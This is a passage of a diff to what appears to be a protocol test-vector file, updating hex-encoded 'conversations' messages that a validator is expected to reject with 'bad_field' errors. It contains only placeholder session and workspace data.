2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c7d7d5d7d", + "hex": "574d58310101000001000000370600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-plain-profile-with-binding", "direction": "down", - "hex": "574d58310101000001000000320600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-unknown-profile", "direction": "down", - "hex": "574d583101010000010000002a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000670600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-binding-not-uuid4", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-generation-zero", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-unordered", "direction": "down", - "hex": "574d583101010000010000002f0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e7452657669